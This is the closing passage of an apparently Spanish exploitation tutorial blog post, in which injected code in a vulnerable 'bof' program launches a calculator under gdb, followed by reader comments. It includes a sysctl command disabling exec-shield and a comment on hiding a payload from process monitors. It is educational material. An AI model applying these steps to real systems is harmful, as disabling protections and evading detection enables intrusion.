Después de compilar con la opción -zexecstack vemos que la sección GNU_STACK pide permisos de ejecución además de lectura y escritura. En otros sistemas puede hacer falta desactivar un flag del kernel, el flag kernel.exec-shield en concreto. No es este caso, pero si estuvieramos en un sistema donde así fuera lo desactivaríamos con este comando.
$ sudo sysctl -w kernel.exec-shield=0
Cuidadito con esto que desactiva la protección en el sistema (aunque sólo hasta el reinicio).
Y volvamos a probar a ejecutar de nuevo mediante gdb. Voy directo hasta el último punto, parados justo después de ejecutar strcpy().
(gdb) cont
Continuing.
process 6366 is executing new program: /usr/bin/gcalccmd
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
> 1236 + 101Continuing.
process 6366 is executing new program: /usr/bin/gcalccmd
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
1337
> quit
[Inferior 1 (process 6366) exited normally]
(gdb)
Tachán! Ahí tenemos la ejecución de la calculadora :).
Y así es como la "ejecución arbitraria de código" se vuelve un poco menos arbitraria y por qué un bof puede ser tan peligroso. En otras entradas desarrollaremos programas más bonitos y útiles :).
Para terminar voy a hacer una autocritica sobre el código que estamos inyectando. Estoy intentando ir despacito, avanzando un escalón de dificultad en cada entrega, pero lo cierto es que esta vez me ha resultado muy difícil y no he podido evitarlo. No quería hablar aquí de las técnicas a tener en cuenta a la hora de escribir nuestros programas a inyectar (en este caso evitar usar bytes nulos), así que por ahora hemos estado mirando las direcciones que el programa necesita (dirección de la string con el nombre del programa, dirección donde comienza el buffer y por tanto el código inyectado...) desde dentro del gdb y en ningún momento he ejecutado por fuera. Si intentamos ejecutar desde el exterior lo más probable es que el programa pete y ya está. Ya veremos más adelante nuevas técnicas a la hora de escribir estos programas (que a partir de ahora vamos a llamar shellcodes porque ya me estoy rayando) y según las vayamos juntando ya veremos que vamos a explotar los programas sin necesidad de hacerlo desde dentro del gdb, pero hasta entonces paciencia.
Saludos.
He tenido que leerla 2 veces y las que me quedan... Muy buena entrada, explicada al detalle, un nivelazo.Enhorabuena David y muchas gracias por compartir tus conocimientos
ResponderEliminar:)
ResponderEliminarbypass process explorer?
ResponderEliminarNo, el Process Explorer vería perfectamente el proceso. Para ejecutar la calculadora simplemente se esta haciendo un exec(), esta llamada al sistema sustituye el proceso por completo, tanto el PE en windows como el ps en GNU/Linux u otros sistemas Unix-like mostrarán el proceso con PID 6366 (en la última de las ejecuciones que muestro), y con nombre gcalccmd, ni tan siquiera se seguirá llamando "bof" (nombre que le puse al programa vulnerable). Exec() sustituye al proceso completamente.
ResponderEliminarSi quisieramos ocultar un poco mas nuestro payload para que PE/ps siguieran viendo el nombre del proceso explotado (bof en nuestro caso), el payload que inyectamos tendria que ser "exec-independant", es decir que no utilice la llamada al sistema sys_exec() y tampoco ninguna funcion de biblioteca que pueda acabar llamando a sys_exec() (toda la familia de funciones exec()).